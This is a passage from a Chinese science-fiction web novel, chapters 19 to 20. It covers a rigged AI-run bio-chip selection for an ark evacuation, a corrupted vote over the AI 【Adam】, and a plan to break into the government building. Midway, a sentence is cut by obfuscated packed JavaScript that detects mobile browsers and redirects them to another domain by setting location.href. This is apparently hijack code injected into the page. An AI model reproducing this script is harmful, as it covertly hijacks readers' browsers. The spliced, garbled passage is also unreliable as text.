“依照你的想法,人体克隆就如同工厂按照模型复刻了一台与原先一样的电脑外壳,但无法复制其中的‘代码’?” 诺克斯惊讶于傅行深理解速度之快,点头回道: “不错,目前我们掌握的克隆技术还远远达不到克隆一个人思想的地步。当然,像记忆、思想、思维方式这样独特的意识也无法被复制……因此,即便通过生物芯片克隆出与自己一模一样的身体,也仅仅只是躯壳而已。你的记忆、你的灵魂、你经历过的一切在这具躯体上都无法找到任何痕迹,你的过往无法在它身上寻找到共鸣,而它,也始终无法成为你。” 傅行深深吸一口气,零下二十多度的冷空气将他的鼻腔乃至大脑刺得生疼,也让他更加清醒。 “所以生物芯片就是一场巨大的骗局。你以为自己即将迎来新生,可那不过是死神对你开的一个小玩笑。” 头顶上方浮动着烟绿色的光带,末日前有许多人慕名进入北极圈观赏极光,傅行深抬头去看,却透过那如梦似幻的光晕,直望进深渊一般的宇宙深处。 那里蔓延着无声的死寂,还有人类未来的“梦幻家园”。 生物芯片的作用无非是给了陷入绝望的人们一丝生的希望,可这希望本身就是一种假象。 人们难道不明白吗? 不,在很多很多年前,在人体克隆被严令禁止的那些年,人们是懂得这些道理的。 只是面对种族的灭亡,他们不得不选择闭塞耳目。 面对愚昧,连神们自己都缄口不言。[注.] – 后面的路程两个人的脚步不急不缓,风雪落得越来越密,二人一路无言沿着道路中间被铲出的窄窄一条小路往安东尼的住所走去。 小路被盖上一层薄薄的积雪,踩上去还十分松软。 尽管没有人再开口说话,但傅行深并不觉得难熬,一种难言的宁静就在这片风雪之间无声地蔓延。 傅行深想到自己被撤职通缉前的那个夜晚,也下着这样大的雪,他坐在宿舍的沙发上思虑重重—— 就在白天,他刚刚得知第二天要召开联合政府秘密决议,而他作为亚洲总指挥官必须到场。 这并不是他忧虑的原因,直到他听说这次秘密决议的目的是关于讨论智械【亚当】的归属权…… 很可笑,力争维护人类平等权益而创造出的AI竟然也要面临归属权属于谁这样荒诞的问题。 傅行深很聪明,他很快就猜到这其中与其说是联合政府想要从方舟委员会手中争取【亚当】的所有权,不如说是他们看中了【亚当】至高的权能,放不下统治人类、制造阶级优越的贪欲。 如果【亚当】真的落到这群人手中,傅行深不难想象未来的人类世界会是怎样一副惨淡光景。 于是他趁夜摸进了研究所。 他知道【亚当】研发组的组长,那个德国华裔的科学家是方舟委员会的主席,作为一手创造出【亚当】的人,他必定也不会眼睁睁看着它落入那些人手里。 可研究所中空空荡荡,黑暗中傅行深看着光洁如新的研究室,还有研究室两侧那些干净得仿佛从未被使用过的办公室陷入了茫然。 这些人都去了哪里? 他的心中突然涌上一股微妙的预感,这预感让他不禁打了一个寒颤。 那时的他还不知道,研发组的成员早在一个月前、也就是智械AI【亚当】公布使用的同一天上午,已经被秘密遣送往各地分别进行了长达三个月的看押。 作为组长的时意则延长至半年。 联合政府美其名曰“保密期”。 傅行深只得离开,在返回宿舍的途中他脚步一转转向了另外一栋住宅区——方舟委员会的副主席伊万就住在那里。 傅行深没料到自己抵达的不是时候,由于他自己也是偷摸过来的,因此在找过来时他十分自觉地绕开了正门,这也令他听到了一段意想不到的对话—— “你们要求立即移交权限?这绝不可能,它的存在就是为了阶级的平等,掌握在任何一方手里都违背了教授的本意……” 说话的正是伊万,他口中提到的“教授”想必就是【亚当】的概念发起者奥兹维坦教授。 伊万是奥兹维坦年轻时期的同僚,据说二人还曾经在同一个研究所中共事过。 和伊万对话的又是谁? 傅行深的视角正对着窗口,而那个人的脸好巧不巧被窗帘遮挡住了。 只听那人说道:“可它也并不是自由的,它被掌握在你们委员会手中,你怎么保证不会利用它呢?” 这声音有些熟悉,不过隔着一层玻璃傅行深听得并不真切。 此话一出只见伊万激动地站起身来,高声说道: “【亚当】的最高指令权已经握在你们手中了,你们还不满足,那我们就没什么可谈了!” “哼,最高指令权?只凭一纸空文我们如何能确定?保不齐你们留了一手,弄一个什么隐藏密钥什么的,让我们如何相信?” 这简直是强盗理论! “根、本、就没有什么隐藏密钥!” 伊万怒目瞪着对面,面红耳赤地喘着粗气。 “伊万先生,看你这么激动我不得不好心提醒一句,想想看自己这副主席的位子究竟是怎么坐稳的?诺克斯那家伙在委员会上可没少给你使绊子,他对你的专业性早有疑虑,被一个小辈这么当众质疑不好受吧?为了让你留在委员会我们可没少费力气,你忘了,我可还替你记得清楚呢。” 伴随着他的话一句句吐出,伊万肉眼可见地冷静下来,到最后甚至开始坐立不安。 傅行深也算看明白了,冷眼注视着伊万从最初的义愤填膺到唯诺怯弱。 “……可控制权并不在我一个人手里,研发组也同样掌握着一部分,最终权限更是需要整个委员会投票才能……” “这些就不用你操心了。”那人不耐烦地打断。 “你只需要在文件上签署同意就可以了。伊万,好好想一想,能拿到‘船票’还可以保留下你的生物芯片,这无异于永生啊。” 伊万已经很老了,和他一般年纪的奥兹维坦都已经入土多少年了,可见上帝也不会垂怜博爱之人。 那像他这样庸碌无为的老家伙,为了活下去,为了活得更长久,做出一些难免的妥协又有什么关系呢? 他曾经千百次地祷告,主选择视而不见,那他此刻忏悔,想必主也同样漠不关心吧? 既然如此…… 伊万浑浊的眼球转向自己书柜上那尊被擦拭得光洁明亮的“耶稣受难像”,终于下定了决心。 他拿起笔,微微颤抖的指关节让他看上去像一个行将就木的傀儡,他在文件上签署下自己的姓名——伊万-迈卡森。 结束的那一笔拖出又长又弯曲的尾巴,像他干枯得如同老树皮一般的皮肤。 对面的人满意地阖上文件夹,不愿再看他一眼,大步流星走出伊万的宅邸。 门外有人接应,傅行深认得那个人,是本该在中东执行任务的余光! 而那个与伊万密谈的人始终没有露出正脸,出门后便被余光撑起的黑伞遮住了面容,雪落在黑伞上,像是死神扬起的丧花。 “我们的目的已经达到了,这老家伙的生物芯片要不要……” 余光做出一个抹脖子的动作,那双平日里看起来温柔亲和的眼睛蒙上一层狠辣的寒光。 伞下的人抬了抬手止住余光的动作,言语间满是轻蔑地说道: “不过一个芯片罢了又改变不了什么,我们已经拿到了【亚当】的控制权,随便从名单里剔除一个人把他塞进去就是了……不过,踢出去的那个人你得把把关,要那种背景清白,掀不起什么风浪的,在外面,我们还是要伪造公平的筛选机制……” 两个人漫步走向宅邸外停着的轿车旁,余光收起伞拉开车门,狡诈的猎食者们乘着夜色扬长而去…… 虔静的雪夜中,傅行深踩着薄雪返回宿舍,心中已经有了新的打算。 第二日,秘密决议如期召开,已经知晓结果的傅行深不再忧虑,心底反倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161048|180638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了一种尘埃落定的轻松。 他明白自己一旦与这群人为敌几乎是死路一条,但也没什么好怕的,反正他孑孓一身这世上也没什么值得他留恋的,俗话怎么说来着? 光脚不怕穿鞋的。 于是抱着这样破罐破摔的心理,投票环节中傅行深在众目睽睽之下投了反对票,随后站起身来将桌上摆着的一壶热茶水倒在了前排一个议员的秃顶上! 傅行深记得他的声音和走路的样子,会议开始前他就想这么干了。 好不容易一路熬到投票结束,眼看着这人失声惊叫恼火的丑态,那颗秃顶的脑壳上甚至还挂着茶叶热气袅袅…… 傅行深笑得像个拿他人取乐的变态愉悦犯,顶着众人各异的目光招呼都不打地转身离开了会场。 巧的是,守卫在会场周围的都是他手下的军队,他还没有被撤职,因此走得潇洒利落,一路畅通。 等到那群人投完票敲定结果后反应上来要收拾他时,傅行深早已经开着车离开了联合政府大楼。 他将目的地设定在这世界的某一个角落,在那里谁也找不到他,这样他就能够沉静下来,好好思考今后的路要去往哪里。 傅行深以为谁也找不到他,毕竟论起反侦察他可是专业的。 然而没想到的是,半年前逃亡路上“ZEIT”找到了他,一年后的今天,在罗瓦涅米的圣诞夜派对上,诺克斯也找到了他。 …… 二人抵达安东尼家的木屋时这片街区已经沉入深夜的寂静之中,只有三两间房屋的窗户还透着暖黄的灯光。 傅行深和诺克斯离开派对时已经接近午夜十二点钟。 安东尼按计划应当已经和诺拉开着车前往列维,说不准路上遇到视野不错的地方还会停下车来观赏…… 但是,他们都忘记了一件重要的事——傅行深该如何进门? 傅行深按了按门铃,没抱什么希望,扭头去看诺克斯。 这座小镇说大也只有三条街不足二十户人家,镇子上只有一家自产自销的小酒馆,甚至没有一家旅店。 傅行深有些好奇诺克斯住在哪里,说不定可以看在两个人聊了一晚上的份上勉强算个熟人收留他一晚。 诺克斯没有接收到傅行深目光中的“求救”信号,抬脚两步跨上台阶,不由分说地开始“哐哐”砸门。 傅行深目光复杂地看着诺克斯,这个人看着文质彬彬没想到脾气还挺大。 “他有可能在书房,我们这样按门铃他根本听不到。” 诺克斯停下手解释道。 傅行深忙不迭点头,也不细究这时候安东尼夫妇怎么可能在家的问题,反正门坏了就说是诺克斯干的,他什么也没干,理直气壮。 就在这时,门“吱呀”一声,打开了。 本该在去往列维和老婆过周年纪念日看极光路上的安东尼打开门,还没看清楚门外是谁便已经气急—— “不是走了吗,走了就别回来了!总之这个计划我不可能同意……” 然后他看清了站在诺克斯身后高出半个脑袋的傅行深。 骂声戛然而止。 “……你还真把老傅找回来了?好吧,我是劝不住你一点儿了你个倔驴脾气,都快先进来吧,门开着我冷得不行。” 傅行深和诺克斯进了屋子,一边往进走诺克斯一边歪着头和他悄声说: “还好有你在,否则他真的会让我在车里睡一整晚。” “……” 傅行深好像知道前两天这人都睡在哪了。 真可怜。 这时安东尼从厨房走出来,递给他们一人一杯热可可,浓郁的巧克力香味很快在这间不大却很温馨的木屋中弥漫开来。 壁炉里还燃烧着傅行深和安东尼两人午后砍回来的松木枝,腾飞的焰苗里松枝时不时发出燃烧后“噼啪”的爆响,伴随而来的是它独特的松油香。 安东尼安静地等待两人喝完可可浑身暖和起来,随后便站起身拍了拍傅行深的肩膀,一副要同傅行深密谈的模样。 傅行深不明所以地跟了上去。 书房中—— 这是傅行深第一次走进安东尼的书房,比他想象中的要宽敞。 特别是那嵌满四面墙壁的书架,还有其上摆放的成百上千册晦涩的外文书籍,让傅行深感到一丝惊讶。 其实安东尼言行举止间很有知识分子的气质,但傅行深总以为这家伙是搞技术的,毕竟长得五大三粗不修边幅……没想到竟然是专业研究学术的。 不过想想他和诺克斯很熟,这一点也就说得通了。 “抱歉兄弟。” 安东尼等傅行深坐定,面带严肃地跟他道歉, “今天并不是我和诺拉的周年纪念日,我们也并没有决定要去列维看什么极光……” 老实说,比起晚餐前安东尼此刻的模样看上去甚至有些憔悴。 这几个小时里究竟发生了什么? “这没关系,也多亏你这么说我才有机会去参加了小镇的新年派对不是吗?” 傅行深并不在意这样无关紧要的谎言,甚至正是因为这场谎言他才遇到了诺克斯,了解到了一些曾经的他没能看到的真实。 “不不不,傅老弟,我本来撺掇你出门就是因为怕你和诺克斯见面。结果你看,他跟我大吵了一架出门,竟然还找到了你……” 安东尼愁苦地用双手支住脑袋,那丛本就足够凌乱的金发让他蹂躏得像个鸡窝,但他现在显然也顾不得这些了。 “我相信你已经猜到了他的身份跟他有了些交流,甚至可能已经被他洗脑了。” 安东尼的声音不似平日里跳脱,连看向傅行深的目光中都带着出奇地严肃, “无论那家伙跟你说了什么,这件事我还是希望你能站在我这边……” 20. 第 20 章 诺克斯一个人坐在楼下的沙发上,目光定格在一旁壁炉里燃烧的火焰出了神。 他大概能料到安东尼会对傅行深说些什么,但他并不在乎,他只在乎傅行深的决定,他会站在哪一边? 傍晚安东尼特意将傅行深支走,目的就是为了和诺克斯探讨关于【亚当】的事。 半年前诺克斯结束保密期,被没收的电子设备和个人资产尽数归还到他手中,可他还是没敢松懈。 他知道即便自己看上去已经恢复了加入项目前自由的出行,但暗中盯着他的人只会多不会少。因此他又花费了半年时间让那群人彻底放下了对他的戒心,否则他根本找不到来罗瓦涅米的机会。 而他冒着巨大风险飞越上万公里来到罗瓦涅米也只为了一件事——【亚当】出了问题。 “那场秘密决议转交了【亚当】的控制权,在那之后我能接收到的来自【亚当】的信息就越来越少。三个月前,联合政府在西西里岛展开了第一次生物芯片投放,我想办法搞到了系统筛选出的编码,你看看这个。” 诺克斯将一张写满数字编码的名单递给安东尼,安东尼拧眉接过,伴随着目光缓缓下移他的神色愈发黑沉。 名单中被划圈的都是编号较为靠前的人的芯片编码,根据生物芯片的编码规则,政治地位越靠前的人芯片的编码数字越小。 而这张名单上,按照西西里岛阶级比例的划分,明显数字编码小的人个数占了接近一半…… 这也就是说,本该占总人数十分之一不到的权贵阶层,在生物芯片筛选中占了选中人数的百分之五十。 这样的筛选结果很显然有悖常理。 在【方舟计划】中,由于物资的短缺和空间的限制方舟无法将所有幸存的人类都带离地球。 为了公平起见,人们决定通过生物芯片的筛选来决定上船的人选—— 拥有登船资格的公民被默认自动放弃使用生物芯片,他们将在方舟中进入长久的休眠直到人类寻找到新的家园。 而没有登船资格的人则拥有将生物芯片储存进方舟的权利,一旦找到新的宜居星球就能够通过人工克隆技术“复生”,达到“全人类逃离地球定居新家园”的美好愿景。 而此刻名单中被圈出来的编码,正是拥有登船资格的人,他们的生物芯片会在踏上方舟的那一刻被销毁。 从这方面来看,这样的操作对所有人来说已经是能够实现的最大程度的公平了。 如果前提是生物芯片真的能将人复活的话。 而这场筛选从一开始就是最大的不公,毕竟没人会相信连AI也有判断偏颇的可能。 可现在结果就摆在面前,它的确开了后门。 “除非有人操控了【亚当】,否则绝不可能出现这样的数据。” 这样的数据能够出现到底意味着什么,安东尼,也是曾经研发组副组长安东尼奥作为【亚当】核心程序的开发负责人十分清楚。 他攥着手中的名单心已经沉到了谷底。 他们耗尽心血创造出的智械,成为了某些人手里的屠刀,已经在不知不觉中开始收割生命。 “我查过了,秘密决议的投票原本是赞成和反对一半一半,总共十一个投票者,傅行深那一票恰好打破了平衡——结果本应当是联合政府放弃争取【亚当】的所有权。” “可现实是【亚当】确实已经归属于联合政府了不是吗?诺克斯,对他们来说投票并不重要,投票的结果也不重要,他们要的不过是一个流程和一个冠冕堂皇的理由,夺走【亚当】的同时也铲除了异己……真是厉害的手段啊。” 安东尼将名单投入壁炉,炽热的火舌不消片刻便将那页纸吞噬殆尽,只落下一层余烬堆在炉底,还能看见点点火星在挣扎中尽数熄灭。 “接下来你打算怎么办?” 安东尼知道诺克斯不远万里找过来必定不只是为了送这薄薄一张纸。 他太了解自己这个师弟了,他这次就是带着计划来的。 他心里隐隐有些猜到,这多半是一个不死不休的计划。 奥兹维坦从前总感叹诺克斯天资聪颖天赋骄人,但难免慧极必伤。 可诺克斯一次也没当真过,安东尼此刻看着他暗露寒芒的眼神,后知后觉有些心悸。 也是在多年后他才想明白,老师当年那不经意的感叹竟是一句几近天命般的谶言,而如今的他还远未明白此间的道理。 “你是怎么计划的?说出来听听。” 安东尼听见自己这般说道。 接下来的计划果真配得上一句疯狂。 安东尼不禁开始后悔支走了傅行深给诺克斯开了门,甚至开始后悔当初就不应该告诉这家伙自己的住址。 这样他即便有再多疯狂的想法,没了帮手也是徒劳…… 可偏偏就让他找上门来,偏偏自己就难开口说一句“不”字。 自己对这个师弟向来有应必答,这臭毛病多少年了都没改过来……何况这次还是涉及到【亚当】、涉及到全人类生死存亡的大事。 安东尼的理智疯狂叫嚣着要阻止,可他不能,因为他的内心其实也想这么做。 老师到死都没能实现的愿望、全人类的期许和他们这么多人付出的心血怎么能够成为刽子手的屠刀? 可计划的执行者却不能是诺克斯。 他这个师弟聪明有余身体素质却差得离谱,要想避开防卫队潜入联合政府大楼本就已经难如登天,更不要说还要躲开层层警备进入主控室更改【亚当】的程序。 让诺克斯去简直可以说是去送死。 可诺克斯态度坚决,在这一点上竟然毫不退让,这让安东尼无奈又火大。 他到底知不知道这个计划有多危险? 况且作为【亚当】项目的研发组长,这个身份敏感到一旦被发现面临的绝不仅仅是简单的枪毙射杀……他会被囚禁起来严刑拷打,那时候就连死亡都是一种奢望。 安东尼越想火气越盛,他怒目看着对面诺克斯一脸平静地安排着他们的计划,不发一言。 他在强忍着怒火,他们师兄弟许久未见,他不想诺克斯好不容易向他求助一次却被自己臭骂回去…… 可当他听到诺克斯说“诺拉已经有了身孕你也别让她操心,我只需要你帮我在系统中看好那些人的动向,一旦有危险及时通知我”时,他的火终于压不住冲上了天灵盖。 “我真的有些搞不懂你了,你大老远冒着那么大的风险跑过来不会就是为了让我躲在背后给你当后勤的吧?诺克斯,我和诺拉不可能躲在这里一辈子,更不可能眼睁睁看着你去送死你明不明白?” 安东尼气得在书房里团团打转,一手叉着腰一手扶着额头心里很是烦躁。 保密期结束后没多久诺拉便有了身孕,为了安全他们两个在诺克斯的帮助下躲过联合政府的天眼一路逃到了这里。 在这里生活的短短半年他们确实很依恋这样安稳平静的生活,但这不代表他们可以理所当然地躲在诺克斯的身后,看着他几乎是殉道一般地孤身前行。 “并不是完全没有胜算,我可以去找傅行深,他是联合政府指挥官对那里的警戒一定了如指掌,这会为我们的行动……” “不要,我不是傻瓜诺克斯。下一批生物芯片的筛选就在两个月之后,你难道要让我相信在这短短两个月的时间你就能找到办法攻破政府大楼的警戒创造奇迹?不,这不是奇迹,这是豪赌。” 诺克斯沉默下来。 他当然知道这是赌博,早在奥兹维坦病逝的那一年他就已经明白,这世上哪会有奇迹发生。 不过都是在和命运掷骰子。 “安东尼奥,傅行深在哪?” “……” 安东尼发觉劝说无用,颓废地转身,面向窗外不再看他。 身后一片悄寂,但缓缓传来的呼吸声告诉安东尼诺克斯还没有离开。 “老师离开的时候你在实验室,为了那组实验你几乎不吃不睡,他知道你想在他走之前拿出点成果,告诉他他提出的那些理论从来都不只是空想……” 诺克斯的掌心缓缓收拢,手指关节透出用力攥紧的苍白。< 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奥兹维坦选择收养这个孩子,并郑重其事地在德国当地的收养机构登记了身份。 当填写孩子的姓名时,奥兹维坦想了想填下了“vonKnoxOzvitam”(诺克斯·奥兹维坦)。 奥兹维坦自己没有婚娶,也没有孩子,几乎将全部的时间都花费在了自己的研究上面。直到诺克斯的出现,让他久违地感受到了家庭的温暖。 于是,从前几乎吃住都在实验室的奥兹维坦坚持每天都回家。 白日里就将诺克斯托付给邻居代为照顾,他们一家都是俄国人,家里有个年长诺克斯五六岁的孩子,叫安东尼奥。 等到诺克斯成长到能够自己写字时,奥兹维坦开始手把手地教他学中文。 时常来拜访奥兹维坦的老友拿起案几上摆放的《三字经》,取笑他养孩子精心得就像他呵护庭院里的花一样。 奥兹维坦却摇头说,我养花精心是因为希望它们可以开出鲜艳美丽的花朵使我心情愉悦。可养孩子不一样,我呵护他,却并不对他报以某种期许,比起开出我心中想要的美丽夺目的花,我更希望他能成为他自己。 那一年的除夕夜,奥兹维坦陪伴诺克斯在他们的小屋里包饺子,两个人都没吃过真真正正地道的饺子,因此也说不上谁包得更好看。 饭后,奥兹维坦遵循中国的习俗拿出他为诺克斯准备的红包,上面是他托一位中国友人写下的祝福语——事事如意。 那一晚,诺克斯有了自己的中文名字。 时意。 是他自己取的,奥兹维坦为此高兴得连喝了三杯老白干。 不同于世人理解的他与奥兹维坦的关系,时意自己这些年从没在奥兹维坦那里感受到过压力。 世人总以为奥兹维坦将他培养成了第二个自己,名副其实的接班人——机敏、睿智、理性、博爱。 但事实却恰恰相反。 时意只是在奥兹维坦日渐苍老的温暖掌纹下丰满了羽翼,最终成长为他自己。 所以他明白奥兹维坦临终前的遗憾,比起完成他终极一生都没有实现的梦想,奥兹维坦更希望时意自由地活着,不背负任何枷锁,不为任何人屈就。 可也正是因为这样,他才更不能原谅自己将【亚当】轻易地托付给了不值得信任的人。 那些人就像贪婪的豺狗,企图将人类的恶欲加注在【亚当】身上,让它成为一切罪恶的源头。 诺克斯舒出一口气来,对着始终不愿看向自己的安东尼奥平静地说道:“我们都冷静一下吧,我出门转转。” 随后坚定地迈步离开了。 书房中,安东尼奥站在窗边久久没有动作,仿佛是对方才发生的一切余怒未消,又像是对马上要发生的事无力妥协。 …… 而此时此刻,知晓了一切的傅行深站在书房里,面对安东尼的请求却无法给出回答。 “让我去吧。” 他说。